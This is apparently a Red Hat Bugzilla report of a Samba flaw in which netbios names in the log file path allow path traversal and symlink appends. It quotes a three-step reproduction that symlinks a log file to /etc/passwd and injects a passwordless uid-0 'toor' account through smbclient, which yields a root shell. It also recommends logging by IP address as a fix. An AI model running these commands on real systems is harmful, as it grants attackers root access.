From Bugzilla Helper:
User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.2.19-6.2.1 i686)

Description of problem:
RHAT Samba config contains
log file = /var/log/samba/%m.log

By using unexpected values for netbios names, attackers can create new .log
files, or, using 
sym links, can append to existing files (/etc/passwd?). Michal Zalewski,
who reported the bug
on Bugtraq (and, apparently, to the Samba team), also reports that the
default Samba line of
log file = /var/log/samba/log.%m
may allow attackers to connect with invlid names containing "/" characters,
and evade logging.

How reproducible:
Always

Steps to Reproduce:
(from Michal's report)
1. ln -s /etc/passwd /tmp/x.log
2. smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n
../../../tmp/x -N
...where 'NIMUE' stands for local host name (few error messages
   should be returned).
3. su toor

Actual Results:  root shell

Expected Results:  user "toor" should not exist

Additional info:

Preferred configuration, until Samba releases a patch, is
log file = /var/log/samba/%I.log
or
log file = /var/log/samba/log.%I
which will make Smaba log by IP address, avoiding the "../" netbios name
attacks.